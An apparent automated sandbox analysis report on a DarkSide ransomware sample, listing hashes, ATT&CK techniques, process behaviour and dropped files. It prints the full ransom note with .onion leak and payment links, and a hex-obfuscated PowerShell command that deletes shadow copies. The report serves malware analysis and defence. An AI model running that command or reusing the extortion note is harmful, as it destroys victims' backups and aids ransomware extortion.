darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
140s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
27-01-2024 19:37

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General

Target

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Size

226KB
MD5

c81dae5c67fb72a2c2f24b178aea50b7
SHA1

4bd6437cd1dc77097a7951466531674f80c866c6
SHA256

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a
SHA512

30d63e080f37f34fb29fd46f8fb1572d79f645154a002c8da5914ae3d51e224bc60601f91f5d58ac2ce9f81d56a8ad467d7fde55d429ed269df3c196e6687b2c
SSDEEP

6144:UQyTTOip6TGcWnsmx7KbYrBPIJqcKxxY1:E3gGcWnNJIJqDxxY

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Recovery\WindowsRE\README.4d6a2298.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (168) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

pid process

4644 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exepowershell.exe

pid	process
4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
4548	powershell.exe
4548	powershell.exe
4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSecurityPrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeTakeOwnershipPrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeLoadDriverPrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemProfilePrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemtimePrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeProfSingleProcessPrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeIncBasePriorityPrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeCreatePagefilePrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeBackupPrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeRestorePrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeShutdownPrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeDebugPrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemEnvironmentPrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeRemoteShutdownPrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeUndockPrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeManageVolumePrivilege	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 33	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 34	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 35	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 36	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeDebugPrivilege	4548	powershell.exe
Token: SeBackupPrivilege	1976	vssvc.exe
Token: SeRestorePrivilege	1976	vssvc.exe
Token: SeAuditPrivilege	1976	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

description	pid	process	target process
PID 4644 wrote to memory of 4548	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	powershell.exe
PID 4644 wrote to memory of 4548	4644	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
"C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4548

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1976

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Recovery\WindowsRE\README.4d6a2298.TXT
Filesize
2KB

MD5
25d0b19a0ec34a39dfa3e177866f01a3

SHA1
a3704d1f6499738ccd694bdd6008a850c6b2e453

SHA256
f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8

SHA512
ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d1414b301c11e310c55c6fd19b5beeb6

SHA1
a9a8feef8d7bd65cb5a423665f5ca084672c1af8

SHA256
94cb5e8396bc3c3e64e9a9c9cf794a9715148783bb0a91d8c8b77849838df6d0

SHA512
1aecaa226433d392968e7ceec6fcabb625a138af4101c36f67cfe1174c4c1c0112999e4638e91664a6eb6a9b0b62a108e77902baec37ae4b59729ebe04fadda4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vk5qxllw.4t4.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4548-18-0x00007FF90A2A0000-0x00007FF90AD61000-memory.dmp

Filesize
10.8MB

Download
memory/4548-23-0x00007FF90A2A0000-0x00007FF90AD61000-memory.dmp

Filesize
10.8MB

Download
memory/4548-20-0x0000026BCCF80000-0x0000026BCCF90000-memory.dmp

Filesize
64KB

Download
memory/4548-19-0x0000026BCCF80000-0x0000026BCCF90000-memory.dmp

Filesize
64KB

Download
memory/4548-8-0x0000026BCF0A0000-0x0000026BCF0C2000-memory.dmp

Filesize
136KB

Download
memory/4644-7-0x0000000002210000-0x0000000002211000-memory.dmp

Filesize
4KB

Download
memory/4644-238-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/4644-6-0x00000000021C0000-0x00000000021FC000-memory.dmp

Filesize
240KB

Download
memory/4644-5-0x0000000002200000-0x0000000002201000-memory.dmp

Filesize
4KB

Download
memory/4644-4-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/4644-2-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/4644-1-0x00000000021C0000-0x00000000021FC000-memory.dmp

Filesize
240KB

Download
memory/4644-0-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/4644-242-0x00000000021C0000-0x00000000021FC000-memory.dmp

Filesize
240KB

Download
memory/4644-243-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/4644-244-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/4644-245-0x0000000002210000-0x0000000002211000-memory.dmp

Filesize
4KB

Download
memory/4644-247-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/4644-249-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/4644-251-0x00000000021C0000-0x00000000021FC000-memory.dmp

Filesize
240KB

Download
memory/4644-252-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download